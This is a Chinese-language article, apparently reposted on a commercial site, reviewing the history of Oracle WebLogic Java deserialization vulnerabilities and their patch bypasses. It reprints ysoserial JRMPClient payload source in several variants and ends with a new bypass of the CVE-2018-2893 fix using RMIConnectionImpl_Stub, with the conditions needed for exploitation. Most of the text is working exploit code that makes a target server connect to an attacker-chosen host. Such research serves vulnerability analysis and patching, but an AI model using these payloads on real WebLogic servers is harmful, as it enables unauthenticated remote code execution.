Weblogic反序列化漏洞歷史

Weblogic 反序列化漏洞歷史

0x00 weblogic簡介

WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發(fā)、集成、部署和管理大型分布式Web應用、網絡應用和數(shù)據(jù)庫應用的Java應用服務器

八宿ssl適用于網站、小程序/APP、API接口等需要進行數(shù)據(jù)傳輸應用場景,ssl證書未來市場廣闊!成為創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場價格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:18980820575(備注:SSL證書合作)期待與您的合作!

Weblogic 直接反序列化漏洞回顧

1. CVE-2015-4852

利用Java反序列化和 Apache Commons Collections 這一基礎類庫來×××,實現(xiàn)遠程代碼執(zhí)行。
查看CVE-2015-4852的補丁,發(fā)現(xiàn)weblogic采用黑名單的形式來修復這個漏洞,這中修復方案很被動,存在被繞過風險,只要發(fā)現(xiàn)可用并且未在黑名單之外的反序列化類,便可造成新的反序列化×××。

2. CVE-2016-0638

weblogic反序列化的點有三個,黑名單ClassFilter.class也作用于這三個位置:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

使用weblogic.jms.common.StreamMessageImpl的 readExternal()繞過

3. CVE-2016-3510

原理是將反序列化的對象封裝進了weblogic.corba.utils.MarshalledObject,然后再對 MarshalledObject進行序列化,生成 payload 字節(jié)碼。反序列化時 MarshalledObject 不在 WebLogic 黑名單里,可正常反序列化,在反序列化時 MarshalledObject對象調用 readObject 時對 MarshalledObject 封裝的序列化對象再次反序列化,這樣就逃過了黑名單的檢查。

0x02 Weblogic JRMP反序列化漏洞回顧

JRMP協(xié)議:Java遠程消息交換協(xié)議 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技術的、用于查找和引用遠程對象的協(xié)議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協(xié)議。
RMI:是Remote Method Invocation的簡稱,是J2SE的一部分,
能夠讓程序員開發(fā)出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,
可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,
可以像調用本地Java對象的方法一樣調用遠程對象的方法,
使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

1. CVE-2017-3248

這個漏洞就是利用 RMI 機制的缺陷,通過 JRMP 協(xié)議達到執(zhí)行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,這將會序列化一個 RemoteObjectInvocationHandler,該RemoteObjectInvocationHandler使用UnicastRef建立到遠端的 TCP 連接獲取RMI registry。 此連接使用 JRMP 協(xié)議,因此客戶端將反序列化服務器響應的任何內容,從而實現(xiàn)未經身份驗證的遠程代碼執(zhí)行。
JRMPLister代碼:

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

修復方式只是在resolveProxyClass進行一個簡單的判斷,攔截java.rmi.registry.Registry接口。所以很快就有了下一個繞過。

2. CVE-2018-2628

網上公開的繞CVE-2017-3248有這幾種方法:
第一種:
修改ysoerial的JRMPClient,精簡了原來的payload,直接就是一個sun.rmi.server.UnicastRef對象。因為Proxy在這里并不是必需的,所以去掉之后對反序列化利用沒有影響。payload中沒有了proxy,weblogic反序列化的時候,resolveProxyClass根本就沒有被調用到,所以就bypass了CVE-2017-3248的patch。

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        return ref;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

第二種:替換接口
繞過是用java.rmi.activation.Activator替換java.rmi.registry.Registry,從而繞過resolveProxyClass的判斷。其實這里對接口沒有要求,不一定是rmi接口,隨便找一個接口都行,比如java.util.Map

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
                Activator.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

第三種:weblogic.jms.common.StreamMessageImpl
StreamMessageImpl這個點在反序列化的時候沒有resolveProxyClass檢查,從而繞過。
Oracle在2018年4月發(fā)布的補丁中修復方式是將sun.rmi.server.UnicastRef加入了黑名單中,weblogic.utils.io.oif.WebLogicFilterConfig.class:

private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
  private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };

這個修復方式只對提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后兩個payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef經過了java.rmi.server.RemoteObjectInvocationHandler的封裝,在序列化生成payload時,修改了UnicastRef對象寫入流程。

3. CVE-2018-2893

針對前面漏洞沒有修復徹底的問題,在今年7月份的補丁中進行了如下修復:

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

黑名單進行了更新:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

0x03 繞過CVE-2018-2893

CVE-2018-2893還是可以繼續(xù)繞的,根據(jù)前面的分析可知,我們只需要找一個類似java.rmi.server.RemoteObjectInvocationHandler的類進行替換,就能繼續(xù)繞過了。那么這個類應該滿足以下條件:
繼承遠程類:java.rmi.server.RemoteObject不在黑名單里邊(java.rmi.activation. 、sun.rmi.server.
隨便找了一下,符合條件的挺多的:

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

RMIConnectionImpl_Stub 繼承至--> java.rmi.server.RemoteStub 繼承至-->java.rmi.server.RemoteObject
稍微改一下payload便能繼續(xù)利用了:

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;

@SuppressWarnings ( {
    "restriction"
} )

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

0x04 利用條件

RMIConnectionImpl_Stub替換RemoteObjectInvocationHandler之后,payload又能用了。
后續(xù)利用需要配合Jdk7u21來執(zhí)行命令:
1、服務器沒有禁用T3、T3S協(xié)議。
2、weblogic服務器需能訪問到外網,才能發(fā)起JRMP請求。
3、服務器使用低版本jdk

參考鏈接:
https://xz.aliyun.com/t/2479
https://paper.seebug.org/584/
http://drops.the404.me/637.html

文章標題:Weblogic反序列化漏洞歷史
文章鏈接:http://muchs.cn/article8/pioeop.html

成都網站建設公司_創(chuàng)新互聯(lián),為您提供商城網站、外貿建站、網站建設、微信公眾號營銷型網站建設、品牌網站建設

廣告

聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

外貿網站制作